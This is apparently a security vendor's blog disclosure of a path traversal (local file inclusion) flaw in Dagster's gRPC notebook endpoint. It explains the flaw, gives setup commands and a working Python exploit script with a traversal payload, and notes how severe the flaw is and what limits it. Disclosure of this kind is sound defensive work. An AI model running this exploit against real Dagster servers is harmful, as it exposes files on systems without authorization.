How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
An LFI vulnerability was found in Dagsters gRPC server implementation. It exists in the ExternalNotebookData endpoint, which is designed to load notebook data for integration with Dagster workflows.
The issue occurs because the get_notebook_data function performs insufficient path validation, only checking if the file path ends with .ipynb. An attacker with access to the gRPC server can craft requests that include traversal sequences (../) to read arbitrary files by appending .ipynb to any path. The use of os.path.abspath() in the implementation does not prevent directory traversal attacks.
By default, the gRPC server binds to localhost, limiting remote exploitation. However, in custom deployments where the server is bound to external interfaces or in cloud-based deployments, the vulnerability could allow unauthorized file access.
notebook_path field in gRPC requests to the ExternalNotebookData endpoint in server.py:get_notebook_data function in impl.py performs only a simple extension check:open(os.path.abspath(notebook_path), “rb”) call, which opens files based on user-controlled input with insufficient sanitization.echo "SECRET_DATA_12345" > /tmp/secret.ipynbdagster api grpc --python-file repository.py --host 0.0.0.0 --port 4266import grpc
import sys
from dagster._grpc.__generated__ import dagster_api_pb2
from dagster._grpc.__generated__ import dagster_api_pb2_grpc
def exploit_lfi(host, port, target_file):
# create a gRPC channel to the server
channel = grpc.insecure_channel(f"{host}:{port}")
# create a stub
stub = dagster_api_pb2_grpc.DagsterApiStub(channel)
if not target_file.endswith(".ipynb"):
target_file = target_file + ".ipynb"
# create the request
request = dagster_api_pb2.ExternalNotebookDataRequest(notebook_path=target_file)
try:
# send the request
response = stub.ExternalNotebookData(request)
# print the response
print(response.content.decode('utf-8', errors='replace'))
return True
except grpc.RpcError as e:
print(f"RPC Error: {e.details()}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
sys.exit(1)
HOST = "localhost"
PORT = 4266
target_file = sys.argv[1]
exploit_lfi(HOST, PORT, target_file)python exploit.py "../../../../tmp/secret"The vulnerability allows an attacker with access to the gRPC server to read arbitrary files that the Dagster process has permission to access, as long as the requested path ends with .ipynb. This could potentially expose:
The severity is mitigated by several factors:
However, in non-default configurations where the gRPC server is exposed to untrusted networks or in multi-tenant environments, this could lead to unauthorized access to sensitive information.

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
See what actually changed in the OWASP Top 10 for 2026, from merged SSRF and XXE categories to new supply chain risks and scanner coverage gaps.
Jeevan Jutla
Gecko Security uncovered CVE-2026-21894 in August 2026, an n8n authorization bypass with CVSS 8.8. See why static tools missed it and how to remediate it.
Jeevan Jutla
Security misconfiguration is OWASP A05 for a reason. Learn how deployment context determines exploitability and how to fix gaps in August 2026.
Jeevan Jutla
How do modern AppSec vendors actually compare? This July 2026 capability map covers SAST, DAST, SCA, business logic flaws, and cross-service
Gecko Security
Break down your AppSec stack: what SAST, DAST, SCA, IAST, and pen testing each see — and what they miss. Updated July 2026 by Gecko Security.
Gecko Security
Occasional updates, new content, and insights. No spam; unsubscribe anytime.